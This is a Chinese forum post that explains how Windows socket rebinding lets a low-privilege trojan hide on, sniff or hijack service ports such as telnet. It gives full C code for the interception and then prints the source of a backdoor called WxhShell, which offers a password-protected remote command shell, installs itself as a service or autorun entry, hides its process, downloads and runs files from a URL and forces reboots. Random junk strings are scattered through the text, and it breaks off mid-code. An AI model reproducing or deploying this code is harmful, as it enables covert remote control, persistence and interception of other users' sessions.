社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11959阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *4zVK/FJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); , "zS  pN  
R $cO`L*s  
  saddr.sin_family = AF_INET; Pc]c8~  
Kg@9kJB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n#N<zC/  
|jV4]7Luq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dBG]J18  
 <C4^Vem  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X/1Z9 a+W  
<EI'N0~KG  
  这意味着什么?意味着可以进行如下的攻击: w9}I*Nra  
Y5 4*mn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rr4yJ;qpeP  
p Nu13o~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %a/O7s6  
0zpP$q$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,Z%!38gGsu  
gzDb~UEoF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9w Kz p  
q_f v1U3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tazBZ'\c  
_>5BFQ_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y@.> eS  
zck)D^,aO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d1j v>tu  
LM _4.J  
  #include j.C C.[$g  
  #include YA^9, q6u?  
  #include Pr<?E[  
  #include    :B- ,*@EU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {uj9fE,)  
  int main() g{$&j*Q9  
  { (oJ#`k:&n  
  WORD wVersionRequested; W,agP G\+  
  DWORD ret; j7-#">YL  
  WSADATA wsaData; }qz58]fyx  
  BOOL val; ;T52 aX  
  SOCKADDR_IN saddr; )KRO=~Y  
  SOCKADDR_IN scaddr; q#\eL~k  
  int err; n.l p ena  
  SOCKET s; d(a6vEL4  
  SOCKET sc; bM^'q  
  int caddsize; 72-@!Z0e  
  HANDLE mt; g6W.Gl"5\w  
  DWORD tid;   y+ :<  
  wVersionRequested = MAKEWORD( 2, 2 ); "E2 g7n&  
  err = WSAStartup( wVersionRequested, &wsaData ); . ~|^du<X  
  if ( err != 0 ) { NHc+QMbou(  
  printf("error!WSAStartup failed!\n"); 6-X7C9`C  
  return -1; 1*-58N*  
  } n6o}$]H  
  saddr.sin_family = AF_INET; T  |j^  
   >8NQ8i=]V1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5. l&nt'  
`Ze fSmb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FpRK^MEkG  
  saddr.sin_port = htons(23); V,M8RYOnC!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _F3vC#  
  { Ar'5kPzY>  
  printf("error!socket failed!\n"); GV[[[fu  
  return -1; d&'6l"${  
  } @pko zE-  
  val = TRUE; mI`dZ3h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;5=pBP.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 98O z  
  { U3U eTa_  
  printf("error!setsockopt failed!\n"); Bv=Z*"Fv  
  return -1; rfPJBD{Ve  
  } /|DQ_<*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <g%xo"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *smo{!0Gg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `aI%laj&M  
?y04g u6p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :!A@B.E  
  { Q'=!1^&  
  ret=GetLastError(); q5RLIstQ\  
  printf("error!bind failed!\n"); etDB|(,z  
  return -1; Sdt @"6  
  } ,vhR99g{  
  listen(s,2); xjX5PQu  
  while(1) OIWo* %  
  { Y.C*|p#  
  caddsize = sizeof(scaddr); %Bo Jt-v  
  //接受连接请求 o4Ba l^=[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?NwFpSB2  
  if(sc!=INVALID_SOCKET) Q%>,5(_V]  
  { r-V./M@L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l;;:3:  
  if(mt==NULL) l`u*,"$  
  { eeX)JC0A  
  printf("Thread Creat Failed!\n"); (p2a{v}fEz  
  break; -J6}7>4^8}  
  } g+CH F?O  
  } }gn0bCJy  
  CloseHandle(mt); <=`@`rm{  
  } F% |(pHk  
  closesocket(s); x-W0 h  
  WSACleanup(); C'$U1%: j  
  return 0; 5s|gKM  
  }   Cv=0&S.  
  DWORD WINAPI ClientThread(LPVOID lpParam) @F1pu3E  
  { bBQp:P?E  
  SOCKET ss = (SOCKET)lpParam; w5nRgdboy!  
  SOCKET sc;  +*!!  
  unsigned char buf[4096]; RcE%?2l D  
  SOCKADDR_IN saddr; f Gfv{4R  
  long num; ~>EVI=?  
  DWORD val; Av[jFk  
  DWORD ret; C^~iz in  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ':[y]ep(~|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ](ninSX1w  
  saddr.sin_family = AF_INET; X3>(K1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bC{~/ JP  
  saddr.sin_port = htons(23); >9klh-f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = G_6D  
  { j?,$*Fi  
  printf("error!socket failed!\n"); 0jyokER  
  return -1; mU_O64  
  } 8L@di  Y  
  val = 100; 04"hQt{[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GQQ!3LwP\O  
  { ])JJ`Z8Bk  
  ret = GetLastError();  5-J-Tn  
  return -1; ~+g5?y  
  } 7 D^A:f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BKTsc/v2>:  
  { ?\yo~=N^  
  ret = GetLastError(); _`(g?  
  return -1; iOyYf!yg  
  } t&oNJq{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r3-3*_  
  { i>~?XVU  
  printf("error!socket connect failed!\n"); D'&L wU,o  
  closesocket(sc); %|I|Mc  
  closesocket(ss); t Z%?vY~!  
  return -1; `l}-S |a  
  } _`\INZe-G  
  while(1) C+mU_g>  
  { VuY.})+J:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kmS8>O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ev3x*}d0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wfdFGoy(  
  num = recv(ss,buf,4096,0); 3,[2-obmi  
  if(num>0) pA2U+Q@  
  send(sc,buf,num,0); j0GI[#  
  else if(num==0) |bk*Lgkzw  
  break; U!5@$Fu  
  num = recv(sc,buf,4096,0); @K/I a!Lw  
  if(num>0) @.{  
  send(ss,buf,num,0); j.6kjQN  
  else if(num==0) 2*|]#W  
  break; i_MI!o  
  } \x!>5Z Y  
  closesocket(ss); sHF vzE%  
  closesocket(sc); Hj!)S&y,$  
  return 0 ; D)_Ei'+*l  
  } X_qXH5^%  
{G}HZv%S U  
Rc4EFHL  
========================================================== Q@8[ql1l  
(TE2t7ab|M  
下边附上一个代码,,WXhSHELL =T-w.}27O  
1bBK1Uw  
========================================================== JvDsr0]\#  
5-OvPTY`M  
#include "stdafx.h" HZ}*o%O  
I?>#neHc6  
#include <stdio.h> <%z/6I Af|  
#include <string.h> B4}XK =)  
#include <windows.h> Y[!a82MTzn  
#include <winsock2.h> I?K0bs+6  
#include <winsvc.h> cGp^;> ]M  
#include <urlmon.h> 0 OBkd  
pV7Gh`<y  
#pragma comment (lib, "Ws2_32.lib") wGvgMZ]?'  
#pragma comment (lib, "urlmon.lib") ZYA(Bg^  
+RkYW*|$S  
#define MAX_USER   100 // 最大客户端连接数 tX251S  
#define BUF_SOCK   200 // sock buffer @>Keu\)  
#define KEY_BUFF   255 // 输入 buffer {UcIt LjY  
k@L~h{`Mc\  
#define REBOOT     0   // 重启 =CoT{LRQ_  
#define SHUTDOWN   1   // 关机 'm|m +K83  
HhL%iy1  
#define DEF_PORT   5000 // 监听端口 0U>Q<I}  
FT~^$)8=  
#define REG_LEN     16   // 注册表键长度 e@OA>  
#define SVC_LEN     80   // NT服务名长度 lQ/XJw  
'T[zh#v>S  
// 从dll定义API kgz{m;R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  sD8S2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]lUu%<-;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0R& U18)y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z=0W@_s  
8|({ _Z  
// wxhshell配置信息 MxRU6+a  
struct WSCFG { `xUPML-  
  int ws_port;         // 监听端口 -Q6pV<i  
  char ws_passstr[REG_LEN]; // 口令 /<0D E22  
  int ws_autoins;       // 安装标记, 1=yes 0=no $T6Qg(p  
  char ws_regname[REG_LEN]; // 注册表键名  qR qy  
  char ws_svcname[REG_LEN]; // 服务名 yjd'{B9{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (5~C _Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B$l`9!,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9#<Og>t2y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5-^%\?,x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8-:k@W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iI*7WO[W  
8(>.^667  
}; er0D5f R  
yf)`jPM1<  
// default Wxhshell configuration <+gl"lG  
struct WSCFG wscfg={DEF_PORT, ` a>vPW  
    "xuhuanlingzhe", s3{s.55{m  
    1, &._!)al  
    "Wxhshell", a[n$qPm}  
    "Wxhshell", ]%|WE  
            "WxhShell Service", QIK73^  
    "Wrsky Windows CmdShell Service", /BM1AV{s6  
    "Please Input Your Password: ", Nz*sD^SJa  
  1, 6[.Mx}h6  
  "http://www.wrsky.com/wxhshell.exe", X:lPWz!7{  
  "Wxhshell.exe" Net)l@IB]  
    }; VA'X!(Cv  
,:4DN&<  
// 消息定义模块 Y/H^*1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xXZKj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pFTlhj)1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n=? 0g;1!  
char *msg_ws_ext="\n\rExit."; "<x~{BN?  
char *msg_ws_end="\n\rQuit.";  7E`(8i  
char *msg_ws_boot="\n\rReboot..."; 5L}>+js2  
char *msg_ws_poff="\n\rShutdown..."; 5lnSa+_/f  
char *msg_ws_down="\n\rSave to "; nud=uJ"(  
iIaT1i4t.  
char *msg_ws_err="\n\rErr!"; R:<@+z^A[  
char *msg_ws_ok="\n\rOK!"; _-]!;0E IV  
T[-c|  
char ExeFile[MAX_PATH]; ]M;6o@hq  
int nUser = 0; q 9S z7_K  
HANDLE handles[MAX_USER]; .vS6_  
int OsIsNt; 1?|6odc  
HhmVV"g  
SERVICE_STATUS       serviceStatus; vt@Us\fI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ttaQlEa=Z  
Q)`gPX3F  
// 函数声明 k%}89glm  
int Install(void); 45sxF?GSwL  
int Uninstall(void); |<-F|v9og  
int DownloadFile(char *sURL, SOCKET wsh); <{420  
int Boot(int flag); P4j8`}&/  
void HideProc(void); W[E3P,XS  
int GetOsVer(void); xwnoZ&h  
int Wxhshell(SOCKET wsl); #we>75l{+R  
void TalkWithClient(void *cs); vo ;F;  
int CmdShell(SOCKET sock); RR!!hY3 K  
int StartFromService(void); ]<T8ZA_Y;  
int StartWxhshell(LPSTR lpCmdLine); +'/}[1q1/T  
(\t_Hs::a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 12sD|j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @GQ8q]N:<  
] 5v4^mk  
// 数据结构和表定义 X@qk>/  
SERVICE_TABLE_ENTRY DispatchTable[] = kq~[k.  
{ R pI<]1  
{wscfg.ws_svcname, NTServiceMain}, ncattp   
{NULL, NULL} /%YiZ#  
}; u:$x6/t  
j- YJ."  
// 自我安装 HCG@#W<wc  
int Install(void) B>Cs&}Y!  
{ q^1aPz  
  char svExeFile[MAX_PATH]; $tCcjBK\  
  HKEY key; =+`j?1  
  strcpy(svExeFile,ExeFile); #)0Tt>d6  
4r[pMJiq  
// 如果是win9x系统,修改注册表设为自启动 -, Q$  
if(!OsIsNt) { b"nG-0JR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0<@KDlF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dA1 C)gLi  
  RegCloseKey(key); dHG  Io  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M6]0Y@@>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %gu$_S  
  RegCloseKey(key); ) p<fL  
  return 0; P$18Xno{  
    } 3`k[!!   
  } :vK(LU0K  
} NdsX*o@a  
else { =r@gJw:B  
vZE|Z[M+<  
// 如果是NT以上系统,安装为系统服务 *i?rJH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |vfujzRZ  
if (schSCManager!=0) px _s@>l`  
{ ~J1;tZS  
  SC_HANDLE schService = CreateService qA/#IUi)1  
  ( mT6q}``vtG  
  schSCManager, 1a&/Zlr  
  wscfg.ws_svcname, 5'X74`  
  wscfg.ws_svcdisp, M_h8#7{G  
  SERVICE_ALL_ACCESS, U.RW4df%E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lMBX!9z  
  SERVICE_AUTO_START, O:;OR'N9  
  SERVICE_ERROR_NORMAL, 0AK?{y U  
  svExeFile, jQ_dw\ {0  
  NULL, q*[!>\ Z8  
  NULL, 19F ;oFp  
  NULL, RQ^m6)BTo  
  NULL, CYtjY~  
  NULL T2DF'f3A  
  ); Yz=h"Zr  
  if (schService!=0) 4YDT%_h0  
  { JG@L5f  
  CloseServiceHandle(schService); Rkpr8MS  
  CloseServiceHandle(schSCManager); w dGpt_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &_9YLXtMi;  
  strcat(svExeFile,wscfg.ws_svcname); 'u(=eJ@1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VyecTU"W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C5es2!^-]O  
  RegCloseKey(key); K/vxzHSl  
  return 0; 894r;UA7  
    } V(;55ycr  
  } m7r j>X Y  
  CloseServiceHandle(schSCManager); W?qpnPW  
} uw Kh  
} VY/|WD~"CW  
5zNSEI"PY  
return 1; 5^i.;>(b  
} s, n^  
EkJVFHfh  
// 自我卸载 nW|'l^&  
int Uninstall(void) /"""z=q  
{ ]}z'X!v_@  
  HKEY key; +65oC x  
t_dcV%=  
if(!OsIsNt) { 0 kf(g156  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7_9+=. +X5  
  RegDeleteValue(key,wscfg.ws_regname); Hp btj  
  RegCloseKey(key); fav5e'[$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R=-+YBw7/  
  RegDeleteValue(key,wscfg.ws_regname); o 'C~~Vg).  
  RegCloseKey(key); t=n+3`g  
  return 0; ud0QZ X  
  } tJ=3'?T_k  
} #^|| ]g/N  
} (n=9c%w  
else { m`hGDp3  
f).*NX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CifA,[l34  
if (schSCManager!=0) /8xH$n&xoC  
{ N'I(P9@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,~(|p`  
  if (schService!=0) [IiwNqZ[~  
  { SQ}S4r  
  if(DeleteService(schService)!=0) { 7MY)\aH  
  CloseServiceHandle(schService); {7vgHutp  
  CloseServiceHandle(schSCManager); P}HC(S1  
  return 0; Y!SE;N&  
  } \V]t!mZ-}l  
  CloseServiceHandle(schService); gaQ[3g  
  } w{PUj  
  CloseServiceHandle(schSCManager); L-#e?Y}$J  
} b -PSm=`  
} j!YNg*H  
O!;H}{[dg  
return 1; \B_i$<Sz  
} zhNQuK,L  
?-e7e %  
// 从指定url下载文件 SOVj Eo4'3  
int DownloadFile(char *sURL, SOCKET wsh) }N?g|  
{ wHx}U M"  
  HRESULT hr; :^ n*V6.4  
char seps[]= "/"; YWEYHr;%^?  
char *token; 6`acg'sk>  
char *file; o`idg[l.  
char myURL[MAX_PATH]; K[kds`  
char myFILE[MAX_PATH]; a$d:_,\ "  
G.E[6G3  
strcpy(myURL,sURL); aX|g S\zx  
  token=strtok(myURL,seps); Y?<)Dg.[  
  while(token!=NULL) Gb;99mE  
  { z&O#v9.NE|  
    file=token; elu=9d];@  
  token=strtok(NULL,seps); )1WMlG  
  } ".gNeY6)x  
4Rx~s7l  
GetCurrentDirectory(MAX_PATH,myFILE); <PX.l%  
strcat(myFILE, "\\"); axX{6  
strcat(myFILE, file); {@3z\wMK$  
  send(wsh,myFILE,strlen(myFILE),0); vd`O aM}#U  
send(wsh,"...",3,0); PSPTL3_~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Tm`d ?^  
  if(hr==S_OK) RT,:hH  
return 0; a"x}b  
else bl=ku<}@  
return 1; GMl"{ Oxo&  
H<g 1m  
} FQ`(b3.   
}`9jH:q-Z  
// 系统电源模块 ?ty>}.c t  
int Boot(int flag) >z(wf>2J  
{ q]CeD   
  HANDLE hToken; 1w`2Dt  
  TOKEN_PRIVILEGES tkp; LT/mb2  
S#tY@h@XV  
  if(OsIsNt) { :_v!#H)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @OzMiN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hfh!l2P  
    tkp.PrivilegeCount = 1; fN@{y+6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pe.Ml7o"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u"`*DFjo*  
if(flag==REBOOT) { AotCX7T2T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #.H}r6jqs  
  return 0; X3<K 1/<  
} P;73Hr[E#  
else { h$>wv`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1c$vLo832  
  return 0; J/ vK6cO\  
} nq1 'F  
  } 7tRi"\[5  
  else { 2VA!&`I  
if(flag==REBOOT) { [KSH~:h:NR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )qv2)a!H  
  return 0; Tg0CE60"  
} Xd3}Vn=  
else { $#e1SS32  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0]B(a  
  return 0; ?^}_j vT  
} 7b,(\Fm  
} ZIDbqQu  
_|A+ ) K  
return 1; {]^O:i"  
} y\D=Z N@  
DN_W.o  
// win9x进程隐藏模块 RO.U(T  
void HideProc(void) <F(><Xw,-4  
{ ! \sMR  
wksl0:BL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :QPf~\w?  
  if ( hKernel != NULL ) .XS9,/S  
  { I-DXb M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \F{:5,Du)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :5b0np!  
    FreeLibrary(hKernel); ~E)fpGJ  
  } 9%tobo@J~n  
?s2^zT  
return; Su7bm1  
} LHkQ'O0  
=^tA_AxVw  
// 获取操作系统版本 iX"C/L|JN  
int GetOsVer(void) UG](go't  
{ u-3:k  
  OSVERSIONINFO winfo; 5Sva}9H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 36vgX=}  
  GetVersionEx(&winfo); cj$d=k~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F9a^ED0l\  
  return 1; r^1+cwy/7P  
  else X!>eiYK)  
  return 0; S\*`lJzPM  
} E=$p^s  
2YlH}fnH  
// 客户端句柄模块 j.%K_h?V5  
int Wxhshell(SOCKET wsl) H C0w;MG)  
{ ?6"{!s{v  
  SOCKET wsh; %\Wf^6Y^  
  struct sockaddr_in client; -oP'4QVb  
  DWORD myID; \+ 0k+B4a  
=5x&8i  
  while(nUser<MAX_USER) Lja7   
{ %JyXbv3m,  
  int nSize=sizeof(client); {<=#*qx[Y!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); />44]A<  
  if(wsh==INVALID_SOCKET) return 1; _zMgoc7  
=Vw 5q},3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 69G`2_eKCp  
if(handles[nUser]==0) JSr$-C fH  
  closesocket(wsh); F_H82BE+3  
else 4(8xjL:  
  nUser++; +&i +Mpb  
  } Vsnuy8~k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <hx+wrv  
t0)<$At6J  
  return 0; [p;E~-S  
} [eUftr9&0  
fo0+dzazY  
// 关闭 socket AUe# RP  
void CloseIt(SOCKET wsh) ~1L:_Sg*  
{ OLC{iD#  
closesocket(wsh); &ldBv_  
nUser--; 8|%^3O 0X  
ExitThread(0); 8}s.Fg@tE  
} Qf$|_&|  
x@Hd^xH`  
// 客户端请求句柄 .2) =vf'd  
void TalkWithClient(void *cs) 04U")-\O  
{ N<(.%<!  
tjT>VwqH  
  SOCKET wsh=(SOCKET)cs; /Q{P3:k  
  char pwd[SVC_LEN]; ;j8 )KC  
  char cmd[KEY_BUFF]; 3?n>yS  
char chr[1]; w= P 9FxB  
int i,j; L+}n@B  
Iw<i@=V  
  while (nUser < MAX_USER) { tptN6Isuh  
OTDg5:>  
if(wscfg.ws_passstr) { H1n1-!%d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NMOut@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QPt Gdd  
  //ZeroMemory(pwd,KEY_BUFF); }g7]?Ee  
      i=0; n\z,/'d"  
  while(i<SVC_LEN) { Z|" p*5O,  
j _L@U2i  
  // 设置超时 wV\gj~U;P  
  fd_set FdRead; d5 7i)=  
  struct timeval TimeOut; <FI-zca  
  FD_ZERO(&FdRead); a ^d8I  
  FD_SET(wsh,&FdRead); : j }fC8'  
  TimeOut.tv_sec=8; zOgTQs"ZH  
  TimeOut.tv_usec=0; 03E4cYxt5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4k-+?L!/G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *jIqAhs0{  
mE%$HZ}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _j?e~w&0b  
  pwd=chr[0]; _WXtB#  
  if(chr[0]==0xd || chr[0]==0xa) { l>*"mh  
  pwd=0; y\dEk:\)  
  break; o]:3H8  
  } Ig]iT  
  i++; kVK/9dy-F  
    } OCZaQ33  
^sN (  
  // 如果是非法用户,关闭 socket U8qtwA9t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1$qh`<\  
} ,1OyN]f3  
c:Wze*vI ;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); om?-WJI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |sRipWh  
Mi'8 ~J  
while(1) { 26T"XW'_  
] e. JNo  
  ZeroMemory(cmd,KEY_BUFF); ^uv<6  
mKo C.J  
      // 自动支持客户端 telnet标准   [ i#zP  
  j=0; >SPh2[f  
  while(j<KEY_BUFF) { nWQ;9_qBB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !*6CWV0  
  cmd[j]=chr[0]; `;%]'F0`  
  if(chr[0]==0xa || chr[0]==0xd) { sVG(N.y  
  cmd[j]=0; ?T+q/lt4  
  break; ZaNQpH.  
  } U- )i+}Ng  
  j++; J{^RkGF  
    } E4 m`  
,|&9M^  
  // 下载文件 ( =~&+z  
  if(strstr(cmd,"http://")) { Xd^\@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .{y uo{u  
  if(DownloadFile(cmd,wsh)) ]?*I9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AL>$HB$  
  else Jgnhn>dHe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o sKKt?^?  
  } a!O0,y  
  else { Q0EiEX)  
~ vqa7~}m  
    switch(cmd[0]) { R<OI1,..r  
  /cU<hApK  
  // 帮助 0RoU}r@z4  
  case '?': { ^Q+g({  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /0Ax*919j  
    break; c("_bOAT  
  } S)D nPjN{  
  // 安装 pb~pN  
  case 'i': { dAy?EO0\7  
    if(Install()) Q-1vw6d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r Tz$^a}/  
    else OpHsob~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C*P7-oE2rh  
    break; B(M6@1m_  
    } ..rOsg{  
  // 卸载 "~'b  
  case 'r': { g)-bW+]q  
    if(Uninstall()) _3ZYtmn.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?\>JM >;  
    else B ~OZ2-~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 720DV +o  
    break; R?]02Q  
    } `]%|f  
  // 显示 wxhshell 所在路径 i>(e}<i  
  case 'p': { wiiCd  
    char svExeFile[MAX_PATH]; ti#7(^j  
    strcpy(svExeFile,"\n\r"); -\C!I  
      strcat(svExeFile,ExeFile); i-6 Z"b{  
        send(wsh,svExeFile,strlen(svExeFile),0); ~c\e'&sc;  
    break; RsYU59_Y  
    } t<#h$}=:Vt  
  // 重启 b9!FC$^J  
  case 'b': { WYr/oRO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BqT y~{)+  
    if(Boot(REBOOT)) *c2YRbU(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <~WsD)=$  
    else { ?nL.w  
    closesocket(wsh); d@qsdYu-*  
